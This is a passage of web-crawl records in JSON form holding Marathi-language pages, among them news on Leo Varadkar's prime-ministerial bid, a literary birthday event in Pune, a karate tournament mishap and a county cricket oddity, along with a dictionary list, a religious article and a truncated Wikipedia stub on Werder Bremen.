"http://www.esakal.com/global/leo-varadkar-leads-race-become-irelands-next-prime-minister-46813", "date_download": "2018-09-25T17:47:46Z", "digest": "sha1:GBRQ3AAQOOPVFVXEKDYGOL2GSIYQCZKI", "length": 12205, "nlines": 175, "source_domain": "www.esakal.com", "title": "Leo Varadkar leads race to become Ireland's next Prime Minister आयर्लंडमध्ये पंतप्रधानपदाच्या शर्यतीत समलिंगी व्यक्ती | eSakal", "raw_content": "\nआयर्लंडमध्ये पंतप्रधानपदाच्या शर्यतीत समलिंगी व्यक्ती\nसोमवार, 22 मे 2017\nमाझ्या मतांची मी मोजणी करीत नाही. सहकाऱ्यांनी दिलेल्या मोठ्या पाठिंब्याबद्दल मी आभारी असून, पुढील घडामोडींकडे मी सकारात्मक दृष्टिकोनातून पाहतो.\n- लिओ वरदकर, पंतप्रधानपदाचे उमेदवार, आयर्लंड\nडब्लिन - भारतीय वंशाचे मंत्री लिओ वरदकर हे आयर्लंडच्या पंतप्रधानपदाच्या शर्यतीत आघाडीवर आहेत. वरदकर यांची निवड झाल्यास ते आयर्लंडचे पहिले समलिंगी पंतप्रधान ठरतील.\nवरदकर हे 38 वर्षांचे असून, त्यांचा जन्म डब्लिन येथे झाला. ते डॉक्‍टर असून, त्यांच्या वडिलांचा जन्म मुंबईतील, तर त्यांची आई आयर्लंडमधील आहे. ते आयर्लंडचे पहिले समलिंगी पंतप्रधान होण्याची मोठी शक्‍यता व्यक्त होत आहे. वरदकर हे सध्या समाजकल्याण मंत्री आहेत. मंत्रिमंडळातील ज्येष्ठ सहकारी वरदकर यांच्या पाठीशी असून, संसदेतील बहुतांश सदस्यांनी त्यांना जाहीरपणे पाठिंबा दिला आहे.\nपंतप्रधान एन्डा केनी यांनी राजीनामा दिल्यानंतर वरदकर यांनी पंतप्रधानपदासाठी उमेदवारीची घोषणा केली. केनी यांचा उत्तराधिकारी 2 जूनला निवडण्यात येणार आहे. आयर्लंडची संसद नव्या नेत्यावर पंतप्रधान म्हणून शिक्कामोर्तब करणार आहे. वरदकर यांच्यासमोर गृहनिर्माणमंत्री सिमॉन कॉवेनी यांचे आव्हान आहे. आयर्लंडने 2015 मध्ये समलिंगी विवाहांना मान्यता दिली होती. त्यामुळे समलिंगी विवाहांना मान्यता देणारा जगातील तो पहिला देश ठरला होता. याचवेळी वरदकर यांनी समलिंगी असल्याचे जाहीर केले होते.\nमाझ्या मतांची मी मोजणी करीत नाही. सहकाऱ्यांनी दिलेल्या मोठ्या पाठिंब्याबद्दल मी आभारी असून, पुढील घडामोडींकडे मी सकारात्मक दृष्टिकोनातून पाहतो.\n- लिओ वरदकर, पंतप्रधानपदाचे उमेदवार, आयर्लंड\nकल्याण रेल्वे स्थानक बाहेर रिक्षा आणि टॅक्सी चालकांच्या बेशिस्तपणामुळे आला बकालपणा\nकल्याण - रेल्वे स्थानक परिसरमध्ये अवैध रित्या रिक्षा आणि टॅक्सी अनेक तास उभे राहत जागा अडवून ठेवल्याने रेल्वे प्रवाश्याना रेल्वे स्थानकमध्ये...\nमानाच्या बाप्पांचे हौदात विसर्जन\nपुणे - वैभवशाली गणेश विसर्जन मिरवणुकीची सुरवात रविवारी महात्मा फुले मंडई येथून सकाळी साडेदहा वाजता झाली. तत्पूर्वी चौकातील लोकमान्य टिळक पुतळ्यास...\nदौंड (पुणे) : दोन लाखांचे सोने चोरट्याकडून हस्तगत\nदौंड (पुणे) : पुणे ते सोलापूर दरम्यान रेल्वे प्रवासात प्रवासी साखरझोपेत असताना त्यांच्या बॅगा व पर्स चोरणाऱ्या अल्लाह बख्श महंमद ईस्माईल (वय १९) या...\nउल्हासनगरात महापौरच्या निवडणुकीला धक्कादायक कलाटणी\nउल्हासनगर : ऐन महापौर पदाच्या निवडणुकीच्या तोंडावर फुटलेल्या साईपक्षाची विभागणी झाली असून एका गटाने शिवसेनेशी हातमिळवणी केली आहे. त्या अनुषंगाने...\nदौंड : मेडीकलमध्ये चोरी, 4 लाख 34 हजार रूपयांची रोकड चोरीस\nदौंड (पुणे) : दौंड शहराजवळील लिंगाळी (ता. दौंड) येथील पल्लवी मेडीकल मध्ये झालेल्या चोरीत 4 लाख 34 हजार रूपयांची रोकड चोरीस गेली आहे....\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00400.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.esakal.com/pune/da-ma-mirasdar-39979", "date_download": "2018-09-25T17:50:34Z", "digest": "sha1:JP3KT432GUJFYJ7HVQDTKQFBCNTE53LM", "length": 13483, "nlines": 176, "source_domain": "www.esakal.com", "title": "Da Ma Mirasdar जेव्हा रंगते विनोदाची जुगलबंदी | eSakal", "raw_content": "\nजेव्हा रंगते विनोदाची जुगलबंदी\nशुक्रवार, 14 एप्रिल 2017\nनव्वद वर्षांचे आयुष्य पाहिल्यानंतर एक कळाले. ते म्हणजे या जीवनात दु:ख फार आहे. यातून कोणाची सुटका नाही. विनोदामुळेही दु:ख नाहीसे होत नाही; पण किमान आपण दु:ख काही वेळ विसरू तरी शकतो.\n- द. मा. मिरासदार, साहित्यिक\nपुणे - ‘‘मी केवळ वयाने मोठा आहे इतकेच. खरे मोठेपण तर प्रा. द. मा. मिरासदार यांनी आपल्या विनोदी लेखनातून मिळवले,’’ असे शिवशाहीर बाबासाहेब पुरंदरे सांगत होते. त्यांचे हे वाक्‍य संपताच ‘तुमचा हा फारच विनय झाला’, अशी कोटी मिरासदारांनी आपल्या खास शैलीत केली आणि अख्खे सभागृह हास्यात बुडाले. दोघांनीही एकामागून एक असे विनोदी प्रसंग श्रोत्यांना सांगितल्याने ही ‘विनोदाची जुगलबंदी’ अनेकांसाठी अविस्मरणीय ठरली.\nकेवळ साडेपाच वर्षांनी मोठे आणि अत्यंत जवळचे मित्र असलेल्या बाबासाहेबांच्या हस्ते मिरासदारांचा विशेष सत्कार करण्यात आला. मिरासदारांच्या ९०व्या वाढदिवसानिमित्ताने मिरासदार-मंकणी कुटुंबीय आणि विविध संस्थांच्या वतीने हा सोहळा आयोजिण्यात आला होता. केंद्रीय मनुष्यबळ विकासमंत्री प्रकाश जावडेकर, महापौर मुक्ता टिळक, उद्योजक कृष्णकुमार गोयल, मिरासदारांच्या कन्या सुनेत्रा मंकणी, अभिनेते रवींद्र मंकणी, ‘मसाप’चे कार्याध्यक्ष प्रा. मिलिंद जोशी उपस्थित होते.\nबाबासाहेब म्हणाले, ‘‘मिरासदारांच्या विनोदामुळे महाराष्ट्र खळखळून हसला. विनोदातून त्यांनी कोणाला जखम केली नाही. कोणाचे रक्त काढले नाही. दु:ख बाजूला सारण्याची ताकद विनोदात आहे. असेच लेखन मिरासदारांनी केले. त्यांची पुस्तके वाचल्यावर हे कळेल.’’ त्यांची पुस्तके वाचा म्हणतोय, म्हणजे मी काही त्यांचा पुस्तक विक्रेता किंवा एजंट नाही, अशी कोटी करत बाबासाहेबांनी पुन्हा एकदा श्रोत्यांना खळखळून हसवले. त्यांच्यानंतर मिरासदारांनी माईक घेतला आणि वेगवेगळे किस्से सांगत मैफल रंगवत नेली. या वयातही असलेल्या तल्लख स्मरणशक्तीचे दर्शन त्यांनी घडवून दिले.\nजावडेकर म्हणाले, ‘‘मी केंद्रीयमंत्री म्हणून नव्हे, तर मिरासदार सरांचा विद्यार्थी म्हणून इथे आलो आहे. सरांचा तास असला की क्‍लासरूम तुडुंब भरलेली असायची. त्यांच्यामुळेच माझ्यावर मराठी भाषेचे संस्कार झाले आहेत.’’ सरकारने मिरासदारांना महाराष्ट्रभूषण देऊन त्यांचा योग्य सन्मान करावा, अशी मागणी प्रा. जोशी यांनी केली. राजेश दामले यांनी सूत्रसंचालन केले.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nगोवा : आमदार गावकरांचा वन महामंडळ अध्यक्षाचा राजीनामा\nपणजी : राज्यातील भाजप सरकारला पाठिंबा दिलेले सांगेचे अपक्ष आमदार प्रसाद गावकर यांनी आज गोवा वन विकास महामंडळाच्या अध्यक्षपदाचा राजीनामा दिला...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00400.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.transliteral.org/dictionary/%E0%A4%87/index", "date_download": "2018-09-25T17:25:13Z", "digest": "sha1:4UTL65BY3RW4PKC7HBEE2WBXQUHCB4EK", "length": 5893, "nlines": 76, "source_domain": "www.transliteral.org", "title": "इ - Dictionary Words List", "raw_content": "\nशंखनादाविषयी कांही माहिती पाहिजे.\nइ इं इआ इकडे इकडे.इकडेस इकडे आड, तिकडे विहीर इकडे आले हंसूं आणि तिकडे गेले उतूं इकडचा इकुडचा इकडचा डोंगर तिकडे करणें इकडचा तिकडचा इकडचा-ला-इकडचा डोंगर तिकडे (इकडे) करणें इकडचा-ला, इकडील इकडचा(ला) तिकडचा(ला) इकडंतिकडं इकडेतिकडे इकडे तिकडे इकडून इकडे नई, तिकडे वई इकडूनतिकडून इकडे नही, इकडे वही इकडे नही तिकडे वही इकडे ना तिकडे, ठाव नाही कोणीकडे इकडे बोलणें नाहीं, तिकडे चालणें नाहीं इकडे ये, इकडे ये आणि माझ्या कपाळाचे गंध (कुंकु, कपाळच्या अक्षता) पहा इकडला इकुडला इकडला गड तिकडे नेऊन ठेवणें इकडला लुच्चा तिकडला चोर इकडेस इकडील इकुडील इकणें इकत इक्ता इक्ताअ इक्तिरन इक्तीदार इकतो इक्तो इकून तिकून इकबाल इक्बाल इकमत इकरम इकरा इकराम इक्‍राम इकरार इक्रार इकरारनामा इकलजमकी इकला इक्लीम इकळत इकळूत इकळी इक्षु इक्षु-दंड इक्ष्वाकु इक्षालव इकार इख इखण इख्तियार इख्तिसास इखंनपाखंन इखलास इख्लास इखलासी इखळा इखीत इखीति इंगणें इगत इगुत इगूत इग्नेशिया इग्यारावी इगर्ज इग्रज इग्रेज इंगरेज इंग्रज इंग्रेज इंगरेजी इंग्रजी इंग्रेजी इंग्रजी कायदा, पगाराचा वायदा इंग्रजी दुःख इंग्रति इग्लाई इंग्लिश इंगळ इंगुळ इंगळे खावुनु केंडं हगता इंगळ-ळा इंगळ हातीं धरवेल पण हा हातीं धरवणार नाही इंगळा इंगळाच्या अंथरुणावर झोप घेण्यासारखें\nपु. अवधि ; अवकाश ; मध्यंतरीचा काळ . [ सं . अवधि ]\n'डांबिस' हा शब्द मराठी कि कुठल्या भाषेतून आलाय त्याचा अर्थ किंवा उगम कोणता\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00400.warc.wet.gz", "language": "mr", "language_score": 0.66, "bucket": "all"} {"url": "https://divyamarathi.bhaskar.com/news/paap-karma-shiv-puran-2131092.html", "date_download": "2018-09-25T16:34:45Z", "digest": "sha1:GJ4O3VQCO2AZLHFW3RRMBINCQKBMWQ6Y", "length": 6310, "nlines": 148, "source_domain": "divyamarathi.bhaskar.com", "title": "paap-karma-shiv-puran | शारीरिक पापकर्मांपासून दूर रहा", "raw_content": "\nदिव्य मराठी विशेष मधुरिमा\nमधुरिमा रसिक जोक्स हेल्थ-लाइफस्टाइल\nशारीरिक पापकर्मांपासून दूर रहा\nहिंदू धर्मग्रंथ शिव पुराणात चार शारीरिक पापकर्मांचा उल्लेख आहे.\nहिंदू धर्मग्रंथ शिव पुराणात चार शारीरिक पापकर्मांचा उल्लेख आहे. या चार पापकर्मांपासून मनुष्याने सदैव दूर राहिले पाहिजे. ही चार पापकर्म कोणती आहेत हे तुम्हाला माहीत आहे...\n1. अपवित्र भोजनापासून दूर... शुद्ध आहाराने विचार आणि आचार पवित्र होतात. त्यामुळे शक्य तेवढे साधे, शाकाहारी आणि ताजे अन्न ग्रहण करणे चांगले. याउलट दूषित किंवा अपवित्र अन्न ग्रहण करणे आरोग्यासाठी घातक असते.\n2. हिंसा नको... धर्मशास्त्रांनी अहिंसेला सुखी जीवनाचा आधार मानले आहे. अहिंसा हे तत्त्व संवेदना, दया, करुणा या भावना जागवून प्राण्यांना स्नेहबंधनात जोडते. विज्ञानाच्या दृष्टीनेही निसर्गाचे संतुलन राखण्यासाठी अहिंसा तत्त्व महत्त्वाचे ठरते.\n3. व्यर्थ कामापासून दूर रहाणे... आळस, निरर्थक गप्पा, वाईट परिणाम करणारी कामे यात वेळ आणि ऊर्जा नष्ट होते. यामुळे जीवनात दुख, निरोशा येते.\n4. दुस:याची संपत्ती न लाटने... लोभ, लालसा, स्वार्थ यांच्या प्रभावाने दुस:यांचे धन हडपणे. यामुळे आपले जीवन दुखमय होते.\nझोपेतही करतात सेक्स, दारू न पिताही राहतात नशेत; अतिशय दुर्लभ आहेत हे 8 आजार\nBeauty: हाता-पायांचा रंग चेह-यासारखा गोरा नाही ना ट्राय करा या टिप्स\nअंघोळ करताना तुम्ही हे काम तर करत नाही ना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00400.warc.wet.gz", "language": "mr", "language_score": 0.8, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%95%E0%A5%87%E0%A4%B0%E0%A4%B3-%E0%A4%AA%E0%A5%81%E0%A4%B0%E0%A4%97%E0%A5%8D%E0%A4%B0%E0%A4%B8%E0%A5%8D%E0%A4%A4%E0%A4%BE%E0%A4%82%E0%A4%A8%E0%A4%BE-50-%E0%A4%B9%E0%A4%9C%E0%A4%BE%E0%A4%B0/", "date_download": "2018-09-25T16:52:05Z", "digest": "sha1:F4UAVD5XKMZ2L3XDVCGZJ5GTLGIP4KH6", "length": 6246, "nlines": 127, "source_domain": "www.dainikprabhat.com", "title": "केरळ पुरग्रस्तांना 50 हजारांचा निधी | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nकेरळ पुरग्रस्तांना 50 हजारांचा निधी\nकोरेगाव – कोरेगाव येथील शिवनेरी सहकारी बॅंकेकडून केरळ येथील पूरग्रस्तांना मदत म्हणून 50 हजारांची मदत करण्यात आली. मदतीचा धनादेश बॅंकेचे चेअरमन विजयराव चव्हाण यांनी नुकताच सातारा जिल्ह्याच्या जिल्हाधिकारी श्वेता सिंघल यांच्याकडे सुपूर्त केला.\nकेरळमध्ये नुकत्याच आलेल्या महाप्रलयामुळे या राज्यातील जनजीवन पूर्णपणे विस्कळीत झाले आहे. महापुरात शेकडो लोक मृत्युमुखी पडले असून लाखो लोक विस्थापित झाले आहेत. या पूरबाधित जनतेसाठी मुख्यमंत्री सहाय्यता निधीस मदत करण्याचे आवाहन मुख्यमंत्री देवेंद्र फडणवीस यांनी केले होते. त्यास प्रतिसाद देत कोरेगाव येथील शिवनेरी सहकारी बॅंकेने सामाजिक बांधिलकी जपत बॅंकेच्यावतीने 50 हजारांचा धनादेश नुकताच सातारा जिल्ह्याच्या जिल्हाधिकारी श्वेता सिंघल यांच्याकडे त्यांच्या दालनामध्ये सुपूर्त केला. यावेळी बॅंकेचे व्हा. चेअरमन विजयराव चव्हाण, बॅंकेचे मुख्य कार्यकारी अधिकारी धनंजय पाटील, वरिष्ठ अधिकारी कैलास गाडे, विजय पाटील व मधुकर पाटील उपस्थित होते.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleविद्यापीठाच्या मानांकनात सुधारणा होण्याची चिन्हे\nNext articleभीमा कोरेगावप्रकरणाचा तपास ‘एनआयए’कडे द्या\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00401.warc.wet.gz", "language": "mr", "language_score": 0.84, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A4%B6%E0%A4%BE%E0%A4%B8%E0%A4%A8%E0%A4%BE%E0%A4%9A%E0%A4%BE-%E0%A4%B8%E0%A4%BE%E0%A4%B5%E0%A4%B3%E0%A4%BE-%E0%A4%97%E0%A5%8B%E0%A4%82%E0%A4%A7%E0%A4%B3-%E0%A4%AB/", "date_download": "2018-09-25T17:16:02Z", "digest": "sha1:ALAAI32UNOHV72ZX6LOGQ2JQBWUN6NVD", "length": 10488, "nlines": 144, "source_domain": "www.dainikprabhat.com", "title": "प्रशासनाचा सावळा गोंधळ; फरशीवर खेळवले ‘कराटे’चे सामने | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nप्रशासनाचा सावळा गोंधळ; फरशीवर खेळवले ‘कराटे’चे सामने\nअहमदनगर येथील जिल्हा क्रीडा संकुलात गेल्या दि. १० ते १२ सप्टेंबर दरम्यान क्रीडा व युवक सेवा संचनालय यांच्या वतीने शासकीय स्तरावर आयोजित स्पर्ध्येत विद्यार्थ्यांकडून अंधारात आणि रबरी गालिच्याशिवाय (मॅट) गुळगुळीत फरशीवर कराटेचे सामने उरकून घेतल्याचा प्रकार उघडकीस आला आहे. याबाबत अधिक माहिती अशी कि, दरवर्षी शासकीय स्तरावर घेतल्या जाणाऱ्या जिल्हा कराटे स्पर्धेचे आयोजन वरील ताराखेंप्रमाणे करण्यात आले होते. स्पर्धेसाठी जिल्ह्याभरातुन जवळपास तीनशेहून अधिक विद्यार्थी व विद्यार्थिनी स्पर्धेत भाग घेण्यासाठी आले होते, संगमनेरातूनही जवळपास ५० मुले यात सहभागी झालेले होते.\nकराटेचे सामने जमिनीवर जरी भरवले गेले असले तरी त्यापासून कोणत्याही विद्यर्थ्याला दुखापत वगैरे झालेली नाही. सामान्यांसाठी दिवसभर पुरेसा सूर्यप्रकाश होता परंतु शेवटचे दोन सामने फक्त अंधारात घेतली गेली. आयोजनासंदर्भात कोणाला काही अडचण होती तर त्यांनी माझ्याकडे आधी तक्रार करायला पाहिजे होती. हा वैयक्तिक हेव्यादाव्यांचा मुद्दा असल्याने, मी याबद्दल काही सांगू शकत नाही. :- उदय जोशी, जिल्हा क्रीडा अधिकारी, अहमदनगर\nयावेळी सदरील सामने हे अंधारात व मोबाईल बॅटरीच्या प्रकाशात खेळवले जात असल्याचे विद्यार्थीनी त्याचे चित्रीकरण मोबाईलमध्ये काढण्याचा प्रयत्न केला. यावेळी आयोजकांकडून मुलांना शिवीगाळ व धमकाविण्याचा प्रयत्न झाला. विद्यार्थ्यांनी हि बाब त्यांच्या प्रशिक्षकांना लक्षात आणून दिली. प्रशिक्षकांना ताबडतोब याबाबत महाराष्ट्र कराटे असोसिएशनच्या सचिवांना सदरील बाब कळवली. याचा राग मनात धरून आयोजकांपैकी एक असलेले घनशाम सानप यांनी कराटे प्रशिक्षक व संगमनेर कराटे असोसिएशनचे अध्यक्ष लक्ष्मण शिवाजी तनपुरे यांना फोनवरून शिविगाळ व जीवे मारण्याची धमकी दिली. याबाबत लक्ष्मण तनपुरे यांनी संगमनेर शहर पोलिसांत आयोजक घनशाम सानप यांच्या विरोधात तक्रार केली असून पोलिसांकडून अदखलपात्र गुन्ह्याची नोंद करण्यात आली आहे.\nकसे केले गेले आयोजन\n– मॅटवरील (रबरी गालिचा) सामने अपेक्षित असताना गुळगुळीत फरशीवर खेळवले सामने\n– विद्यार्थ्यांना सकाळी ९ वाजता मैदानावर बोलावून दुपारी दीड वाजता सामने सुरु\n– रात्री ८ वाजेपर्यंत अंधारात, मोबाईल बॅटरीच्या प्रकाशात खेळवले गेले सामने\n– विद्यार्थीनींसाठी कपडे बदलण्यासाठी स्वतंत्र व्यवस्था नसल्यामुळे मुलींनी टॉयलेटचा केला वापर\n– तालुकास्तरावर सामने रद्द करून थेट जिल्ह्यास्तरीय सामने खेळवले गेले.\n– सामान्यांसाठी सात पंचांची आवश्यकता असताना केवळ दोनच पंचांकडून सर्व सामन्यांचे निरीक्षण\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious article‘मनमर्जीया’ चित्रपटाची पहिल्या दिवशी झाली ‘इतकी’ कमाई\nNext articleआशिया चषक २०१८ : जाणून घ्या.. स्पर्धेतील सर्वाधिक यशस्वी संघाबदल\nआडसाली ऊस उत्पादन तंत्रज्ञानातून शेती बनवू किफायतशीर (भाग ३ )\nआडसाली ऊस उत्पादन तंत्रज्ञानातून शेती बनवू किफायतशीर (भाग २ )\nदूध काढताना घ्यावयची काळजी (भाग २)\nदूध काढताना घ्यावयची काळजी (भाग १)\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00401.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://mahasports.co.in/watch-7-runs-from-1-ball-english-batsman-makes-it-possible-in-natwest-t20-blast-ommersets-steve-davies-was-on-14-and-immediately-moved-to-21-after-the-incident-before-reaching-62-off-32-balls-in-a/", "date_download": "2018-09-25T17:00:44Z", "digest": "sha1:USOJS4P57E4RVC7XZO6PEQ3KBZ6NI2R6", "length": 8117, "nlines": 64, "source_domain": "mahasports.co.in", "title": "एका चेंडूत ७ धावा, तेही नो- वाईड बॉल नसताना -", "raw_content": "\nएका चेंडूत ७ धावा, तेही नो- वाईड बॉल नसताना\nएका चेंडूत ७ धावा, तेही नो- वाईड बॉल नसताना\nइंग्लंडमधील स्थानिक क्रिकेट अर्थात काउंटी क्रिकेट आणि नेटवेस्ट टी२० ब्लास्ट यात कायमच नवनवीन विक्रम होत असतात. दरवर्षी यातील वेगवेगळ्या विक्रमांची चर्चा होत असते.\nअतिशय उच्च दर्जासाठी जसे काउंटी क्रिकेट प्रसिद्ध आहे तसेच नेटवेस्ट टी२० ब्लास्ट फलंदाजी आणि गोलंदाजीमध्ये होणाऱ्या विक्रमांसाठी प्रसिद्ध आहे. कालही नेटवेस्ट टी२० ब्लास्ट असाच एक खास विक्रम झाला.\nनियमाप्रमाणे फेअर डिलिव्हरी अर्थात खेळण्यायोग्य चेंडूवर जास्तीतजास्त ६ धावा निघू शकतात. जर तो चेंडू नो किंवा वाईड बॉल असेल तर जास्तही धावा निघू शकतात. परंतु काल नेटवेस्ट टी२० ब्लास्टमध्ये एका फेअर डिलिव्हरीवर ७ धावा मिळाल्या.\nनेटवेस्ट टी२० ब्लास्टमध्ये २७जुलै रोजी केंट आणि समरसेट यांच्यात हा सामना खेळवण्यात येत होता. त्यात समरसेटचा फलंदाज स्टीव डेविसने एका बॉलमध्ये ७ धावा केल्या. विशेष म्हणजे हा बॉल फेअर डिलिव्हरी प्रकारातील होता.\nया फलंदाजाने जेव्हा फेअर डिलिव्हरीवर चेंडू मारला तो क्षेत्ररक्षकाकडे पोहोचण्यापूर्वी स्टीव डेविसने तीन धावा पळून काढल्या. जेव्हा क्षेत्ररक्षकाने चेंडू यष्टिरक्षकाकडे फेकला तेव्हा त्याने दुसऱ्या बाजूचा फलंदाज मैदानात पोहचला नसल्या कारणाने गोलंदाजाकडे फेकला. परंतु तो काही गोलंदाजला अडवता आला नाही. त्यामुळे तो चेंडू सरळ सीमारेषेबाहेर गेला.\nमैदानावर उपस्थित पंचाने चौकारचा इशारा केल्यामुळे धावून काढलेल्या ३ आणि चौकारच्या ४ अशा एकूण ७ धावा त्या फेअर डिलिव्हरीवर समरसेट संघाला मिळाल्या. यापूर्वीही अशा अनेक वेळा १ चेंडूवर फलंदाजांना ७ धावा मिळाल्या आहेत.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00401.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://mr.wikipedia.org/wiki/%E0%A4%B5%E0%A5%87%E0%A4%B0%E0%A5%8D%E0%A4%A1%E0%A4%B0_%E0%A4%AC%E0%A5%8D%E0%A4%B0%E0%A5%87%E0%A4%AE%E0%A4%A8", "date_download": "2018-09-25T17:40:29Z", "digest": "sha1:DMVXOOOMGBFRC54H4KI6WCGFQEFKOZEY", "length": 7692, "nlines": 156, "source_domain": "mr.wikipedia.org", "title": "वेर्डर ब्रेमन - विकिपीडिया", "raw_content": "\nफेब्रुवारी ४, इ.स. १८९९\nएस.फाउ. वेर्डर ब्रेमन (जर्मन: Sportverein Werder Bremen von 1899 e. V.) हा जर्मनी देशाच्या ब्रेमन शहरामधील एक फुटबॉल क्लब आहे. वेर्डर ब्रेमन सातत्याने फुसबॉल-बुंडेसलीगा ह्या जर्मनीमधील सर्वोत्तम श्रेणीमध्ये खेळत असून त्याने आजवर ४ वेळा बुंडेसलीगा अजिंक्यपद मिळवले आहे.\nक्लेमेन्स फ्रिट्झ हा ब्रेमनचा विद्यमान कर्णधार आहे.\nविकिमीडिया कॉमन्सवर खालील विषयाशी संबंधित संचिका आहेत:\nएफ.से. आउग्सबुर्ग • बायर लेफेरकुसन • एफ.से. बायर्न म्युन्शन • बोरूस्सिया डोर्टमुंड • बोरूस्सिया म्योन्शनग्लाडबाख • आइनट्राख्ट फ्रांकफुर्ट • एस.से. फ्राईबुर्ग • फोर्टुना ड्युसेलडॉर्फ • ग्र्योथर फ्युर्थ • हानोफर ९६ • हांबुर्गर एस.फाउ. • टे..एस.गे. १८९९ होफनहाईम • १. एफ.एस.फाउ. माइंत्स ०५ • १. एफ.से. न्युर्नबर्ग • एफ.से. शाल्क ०४ • फाउ.एफ.बे. 